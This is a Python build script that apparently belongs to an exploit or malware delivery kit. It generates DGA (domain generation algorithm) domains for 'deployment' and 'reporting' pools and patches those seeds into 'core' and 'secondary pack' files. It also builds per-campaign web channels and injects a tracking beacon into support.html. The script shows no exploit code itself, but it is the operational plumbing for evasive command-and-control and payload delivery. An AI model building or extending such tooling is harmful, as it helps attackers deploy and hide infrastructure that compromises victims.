hashbro
450 lines
15 KiB
Python
450 lines
15 KiB
Python
#!/usr/bin/env python3
|
|
"""Build channel assets into a shared online-compatible artifact root.
|
|
|
|
Layout:
|
|
{artifact-root}/
|
|
lab_seeds.json
|
|
sync/ # shared; rebuilt when seeds are created/changed
|
|
web/{channel-id}/ # per channel
|
|
|
|
Seed resolution:
|
|
1. both --deployment-seed and --reporting-seed
|
|
2. else lab_seeds.json
|
|
3. else random generate + write lab_seeds.json
|
|
|
|
Emits a final JSON object on stdout (last line) for Laravel to parse.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import hashlib
|
|
import json
|
|
import secrets
|
|
import shutil
|
|
import subprocess
|
|
import sys
|
|
from datetime import datetime, timezone
|
|
from pathlib import Path
|
|
|
|
from _channel_patch import gen_channel_id, validate_channel_id
|
|
from _common import (
|
|
ARTIFACTS_ROOT,
|
|
ORIGINAL_CORE_CHANNEL_ID,
|
|
SOURCE_ROOT,
|
|
STATE_ROOT,
|
|
validate_seed_arg,
|
|
)
|
|
|
|
TOOLS = Path(__file__).resolve().parent
|
|
BUILDER_ROOT = TOOLS.parent
|
|
SUPPORT_TEMPLATES = ("test", "blank")
|
|
DEFAULT_SUPPORT_TEMPLATE = "blank"
|
|
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
|
|
LAB_SEEDS_NAME = "lab_seeds.json"
|
|
RESULT_MARKER = "CORUNA_BUILD_RESULT "
|
|
|
|
|
|
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
|
skip = {"_bak", "__pycache__", ".DS_Store"}
|
|
return {n for n in names if n in skip or n.endswith(".pyc")}
|
|
|
|
|
|
def replace_tree(src: Path, dst: Path) -> None:
|
|
if dst.exists():
|
|
shutil.rmtree(dst)
|
|
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
|
|
|
|
|
|
def normalize_support_template(value: str | None) -> str:
|
|
template = (value or DEFAULT_SUPPORT_TEMPLATE).strip().lower()
|
|
if template not in SUPPORT_TEMPLATES:
|
|
raise SystemExit(
|
|
f"unsupported --support-template {value!r}; "
|
|
f"choose one of: {', '.join(SUPPORT_TEMPLATES)}"
|
|
)
|
|
return template
|
|
|
|
|
|
# Idempotency marker for inlined PV/UV beacon (blank support.html <head>).
|
|
HIT_MARKER = "data-pv"
|
|
HIT_JS_PATH = BUILDER_ROOT.parent / "public" / "t.js"
|
|
|
|
|
|
def load_hit_js() -> str:
|
|
if not HIT_JS_PATH.is_file():
|
|
raise SystemExit(f"missing hit script: {HIT_JS_PATH}")
|
|
return HIT_JS_PATH.read_text(encoding="utf-8").strip()
|
|
|
|
|
|
def ensure_hit_beacon(support_html: Path) -> None:
|
|
"""Inline PV/UV beacon into <head> (idempotent via data-pv)."""
|
|
text = support_html.read_text(encoding="utf-8")
|
|
if HIT_MARKER in text:
|
|
return
|
|
block = f'<script {HIT_MARKER}>\n{load_hit_js()}\n</script>\n'
|
|
lower = text.lower()
|
|
idx = lower.rfind("</head>")
|
|
if idx >= 0:
|
|
text = text[:idx] + block + text[idx:]
|
|
else:
|
|
# Fallback: prepend after <html...> or at start.
|
|
html_idx = lower.find("<html")
|
|
if html_idx >= 0:
|
|
gt = text.find(">", html_idx)
|
|
text = text[: gt + 1] + "\n<head>\n" + block + "</head>\n" + text[gt + 1 :]
|
|
else:
|
|
text = "<head>\n" + block + "</head>\n" + text
|
|
support_html.write_text(text, encoding="utf-8")
|
|
|
|
|
|
def apply_support_template(campaign_dir: Path, template: str) -> None:
|
|
template = normalize_support_template(template)
|
|
dest = campaign_dir / "support.html"
|
|
if template == "test":
|
|
if not dest.is_file():
|
|
raise SystemExit(f"missing support.html after campaign copy: {dest}")
|
|
return
|
|
src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
|
|
if not src.is_file():
|
|
raise SystemExit(f"missing support template: {src}")
|
|
shutil.copyfile(src, dest)
|
|
if template == "blank":
|
|
ensure_hit_beacon(dest)
|
|
|
|
|
|
def resolve_python() -> str:
|
|
exe = (sys.executable or "").strip()
|
|
if exe:
|
|
return exe
|
|
for name in ("python3", "python"):
|
|
found = shutil.which(name)
|
|
if found:
|
|
return found
|
|
raise SystemExit("cannot locate python interpreter")
|
|
|
|
|
|
def run(cmd: list[str]) -> None:
|
|
print("+", " ".join(cmd), flush=True)
|
|
subprocess.run(cmd, cwd=str(BUILDER_ROOT), check=True)
|
|
|
|
|
|
def gen_seed() -> str:
|
|
return secrets.token_hex(16)
|
|
|
|
|
|
def load_lab_seeds(path: Path) -> dict | None:
|
|
if not path.is_file():
|
|
return None
|
|
data = json.loads(path.read_text())
|
|
dep = data.get("deployment_seed")
|
|
rep = data.get("reporting_seed")
|
|
if not isinstance(dep, str) or not isinstance(rep, str):
|
|
raise SystemExit(f"invalid {path}: missing deployment_seed/reporting_seed")
|
|
return data
|
|
|
|
|
|
def compute_domains(py: str, dep: str, rep: str, count: int) -> dict:
|
|
result = subprocess.run(
|
|
[
|
|
py,
|
|
str(TOOLS / "compute_dga_domains.py"),
|
|
"--deployment-seed",
|
|
dep,
|
|
"--reporting-seed",
|
|
rep,
|
|
"-n",
|
|
str(count),
|
|
"--json",
|
|
],
|
|
cwd=str(BUILDER_ROOT),
|
|
check=True,
|
|
capture_output=True,
|
|
text=True,
|
|
)
|
|
payload = json.loads(result.stdout)
|
|
return {
|
|
"deployment": payload["deployment"]["domains"],
|
|
"reporting": payload["reporting"]["domains"],
|
|
}
|
|
|
|
|
|
def write_lab_seeds(
|
|
path: Path,
|
|
*,
|
|
dep: str,
|
|
rep: str,
|
|
domains: dict,
|
|
count: int,
|
|
) -> dict:
|
|
doc = {
|
|
"schema_version": 1,
|
|
"mode": "dga",
|
|
"deployment_seed": dep,
|
|
"reporting_seed": rep,
|
|
"dga_count": count,
|
|
"domains": domains,
|
|
"updated_at": datetime.now(timezone.utc).isoformat(),
|
|
}
|
|
if not path.is_file():
|
|
doc["created_at"] = doc["updated_at"]
|
|
else:
|
|
prev = json.loads(path.read_text())
|
|
if isinstance(prev.get("created_at"), str):
|
|
doc["created_at"] = prev["created_at"]
|
|
else:
|
|
doc["created_at"] = doc["updated_at"]
|
|
path.parent.mkdir(parents=True, exist_ok=True)
|
|
path.write_text(json.dumps(doc, indent=2) + "\n")
|
|
return doc
|
|
|
|
|
|
def resolve_seeds(
|
|
*,
|
|
lab_seeds_path: Path,
|
|
cli_dep: str | None,
|
|
cli_rep: str | None,
|
|
count: int,
|
|
py: str,
|
|
) -> tuple[str, str, dict, bool, bool]:
|
|
"""Return dep, rep, domains, seeds_initialized, sync_rebuilt."""
|
|
if bool(cli_dep) ^ bool(cli_rep):
|
|
raise SystemExit("provide both --deployment-seed and --reporting-seed, or neither")
|
|
|
|
existing = load_lab_seeds(lab_seeds_path)
|
|
|
|
if cli_dep and cli_rep:
|
|
dep = validate_seed_arg("--deployment-seed", cli_dep)
|
|
rep = validate_seed_arg("--reporting-seed", cli_rep)
|
|
if dep != rep:
|
|
raise SystemExit("deployment and reporting seeds must match")
|
|
if existing and (
|
|
existing.get("deployment_seed") == dep and existing.get("reporting_seed") == rep
|
|
):
|
|
domains = existing.get("domains") or compute_domains(py, dep, rep, count)
|
|
return dep, rep, domains, False, False
|
|
domains = compute_domains(py, dep, rep, count)
|
|
write_lab_seeds(lab_seeds_path, dep=dep, rep=rep, domains=domains, count=count)
|
|
return dep, rep, domains, existing is None, True
|
|
|
|
if existing:
|
|
dep = str(existing["deployment_seed"])
|
|
rep = str(existing["reporting_seed"])
|
|
domains = existing.get("domains") or compute_domains(py, dep, rep, count)
|
|
return dep, rep, domains, False, False
|
|
|
|
# Deployment + Reporting pools share one seed (identical DGA candidate lists).
|
|
dep = gen_seed()
|
|
rep = dep
|
|
domains = compute_domains(py, dep, rep, count)
|
|
write_lab_seeds(lab_seeds_path, dep=dep, rep=rep, domains=domains, count=count)
|
|
return dep, rep, domains, True, True
|
|
|
|
|
|
def release_files(artifact_root: Path, channel: str) -> list[dict[str, object]]:
|
|
files: list[dict[str, object]] = []
|
|
for rel_root in (Path("sync"), Path("web") / channel):
|
|
base = artifact_root / rel_root
|
|
if not base.is_dir():
|
|
continue
|
|
for path in sorted(base.rglob("*")):
|
|
if not path.is_file():
|
|
continue
|
|
data = path.read_bytes()
|
|
files.append(
|
|
{
|
|
"path": path.relative_to(artifact_root).as_posix(),
|
|
"size": len(data),
|
|
"sha256": hashlib.sha256(data).hexdigest(),
|
|
}
|
|
)
|
|
return files
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser(
|
|
description="Create/update a channel under shared sync/ + web/<id>/ (DGA seeds only)."
|
|
)
|
|
parser.add_argument("--channel-id", help="32-char [0-9a-z] channel id (default: random)")
|
|
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
|
|
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
|
|
parser.add_argument(
|
|
"--artifact-root",
|
|
type=Path,
|
|
default=ARTIFACTS_ROOT,
|
|
help=f"served root for web/ + sync/ (default: {ARTIFACTS_ROOT})",
|
|
)
|
|
parser.add_argument(
|
|
"--state-root",
|
|
type=Path,
|
|
default=STATE_ROOT,
|
|
help=f"lab_seeds.json + out/ (default: {STATE_ROOT})",
|
|
)
|
|
parser.add_argument(
|
|
"--force",
|
|
action="store_true",
|
|
help="replace existing web/<channel-id>/",
|
|
)
|
|
parser.add_argument(
|
|
"-n",
|
|
"--count",
|
|
type=int,
|
|
default=5,
|
|
help="DGA candidates per pool written into lab_seeds.json (default 5)",
|
|
)
|
|
parser.add_argument(
|
|
"--support-template",
|
|
default=DEFAULT_SUPPORT_TEMPLATE,
|
|
choices=SUPPORT_TEMPLATES,
|
|
help="support.html template: test or blank (default: test)",
|
|
)
|
|
parser.add_argument(
|
|
"--json-out",
|
|
type=Path,
|
|
help="optional path to write the result JSON (also printed on stdout)",
|
|
)
|
|
args = parser.parse_args()
|
|
|
|
src_campaign = SOURCE_ROOT / "web"
|
|
src_sync = SOURCE_ROOT / "sync"
|
|
if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
|
|
raise SystemExit(f"missing source web template: {src_campaign}")
|
|
if not src_sync.is_dir():
|
|
raise SystemExit(f"missing source sync: {src_sync}")
|
|
|
|
support_template = normalize_support_template(args.support_template)
|
|
artifact_root = args.artifact_root.resolve()
|
|
state_root = args.state_root.resolve()
|
|
if artifact_root == SOURCE_ROOT.resolve() or SOURCE_ROOT.resolve() in artifact_root.parents:
|
|
raise SystemExit("refusing to build into channel-builder/source")
|
|
if state_root == SOURCE_ROOT.resolve() or SOURCE_ROOT.resolve() in state_root.parents:
|
|
raise SystemExit("refusing state-root under channel-builder/source")
|
|
artifact_root.mkdir(parents=True, exist_ok=True)
|
|
state_root.mkdir(parents=True, exist_ok=True)
|
|
|
|
channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id()
|
|
web_dir = artifact_root / "web" / channel
|
|
sync_dir = artifact_root / "sync"
|
|
lab_seeds_path = state_root / LAB_SEEDS_NAME
|
|
out_root = state_root / "out"
|
|
|
|
if web_dir.exists():
|
|
if not args.force:
|
|
raise SystemExit(f"web/{channel} already exists (use --force)")
|
|
shutil.rmtree(web_dir)
|
|
|
|
py = resolve_python()
|
|
dep, rep, domains, seeds_initialized, sync_rebuilt = resolve_seeds(
|
|
lab_seeds_path=lab_seeds_path,
|
|
cli_dep=args.deployment_seed,
|
|
cli_rep=args.reporting_seed,
|
|
count=args.count,
|
|
py=py,
|
|
)
|
|
# Rebuild sync if seeds changed OR shared sync tree is missing.
|
|
if not sync_dir.is_dir() or not (sync_dir / "daily.html").is_file():
|
|
sync_rebuilt = True
|
|
|
|
print("=== new_project (shared DGA) ===")
|
|
print(f"artifact: {artifact_root}")
|
|
print(f"state: {state_root}")
|
|
print(f"channel: {channel}")
|
|
print(f"support: template={support_template}")
|
|
print(f"seeds: dep={dep}")
|
|
print(f" rep={rep}")
|
|
print(f"init: seeds_initialized={seeds_initialized} sync_rebuilt={sync_rebuilt}")
|
|
print()
|
|
|
|
try:
|
|
if sync_rebuilt:
|
|
print("=== rebuild shared sync/ ===")
|
|
replace_tree(src_sync, sync_dir)
|
|
run(
|
|
[
|
|
py,
|
|
str(TOOLS / "patch_core.py"),
|
|
"--deployment-seed",
|
|
dep,
|
|
"--reporting-seed",
|
|
rep,
|
|
# Keep pristine core channel; sync is shared across delivery channels.
|
|
"--channel-id",
|
|
ORIGINAL_CORE_CHANNEL_ID,
|
|
"--root",
|
|
str(artifact_root),
|
|
"--out",
|
|
str(out_root / "sync"),
|
|
"--shared-layout",
|
|
"--apply",
|
|
]
|
|
)
|
|
|
|
print("=== build web/%s ===" % channel)
|
|
web_dir.parent.mkdir(parents=True, exist_ok=True)
|
|
shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk)
|
|
apply_support_template(web_dir, support_template)
|
|
run(
|
|
[
|
|
py,
|
|
str(TOOLS / "patch_secondary_packs.py"),
|
|
"--deployment-seed",
|
|
dep,
|
|
"--reporting-seed",
|
|
rep,
|
|
"--channel-id",
|
|
channel,
|
|
"--root",
|
|
str(artifact_root),
|
|
"--out",
|
|
str(out_root / "secondary"),
|
|
"--shared-layout",
|
|
"--apply",
|
|
]
|
|
)
|
|
except BaseException:
|
|
if web_dir.exists() and not sync_rebuilt:
|
|
# leave shared sync; remove failed channel web
|
|
shutil.rmtree(web_dir, ignore_errors=True)
|
|
raise
|
|
|
|
result = {
|
|
"schema_version": 1,
|
|
"status": "built",
|
|
"channel_id": channel,
|
|
"mode": "dga",
|
|
"support_template": support_template,
|
|
"seeds": {
|
|
"deployment_seed": dep,
|
|
"reporting_seed": rep,
|
|
},
|
|
"domains": domains,
|
|
"seeds_initialized": seeds_initialized,
|
|
"sync_rebuilt": sync_rebuilt,
|
|
"support_path": f"/web/{channel}/support.html",
|
|
"daily_path": "/sync/daily.html",
|
|
"artifact_root": str(artifact_root),
|
|
"state_root": str(state_root),
|
|
"lab_seeds_path": str(lab_seeds_path),
|
|
"files": release_files(artifact_root, channel),
|
|
}
|
|
out_root.mkdir(parents=True, exist_ok=True)
|
|
(web_dir / "manifest.json").write_text(json.dumps(result, indent=2) + "\n")
|
|
(state_root / "manifest.latest.json").write_text(json.dumps(result, indent=2) + "\n")
|
|
if args.json_out:
|
|
args.json_out.write_text(json.dumps(result, indent=2) + "\n")
|
|
|
|
print()
|
|
print("=== ready ===")
|
|
print(f"web: {web_dir}")
|
|
print(f"sync: {sync_dir}")
|
|
print(f"seeds: {lab_seeds_path}")
|
|
print(f"served: /web/{channel}/support.html")
|
|
print(f" /sync/daily.html")
|
|
# Machine-readable line for PHP (also full JSON on its own line).
|
|
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")), flush=True)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|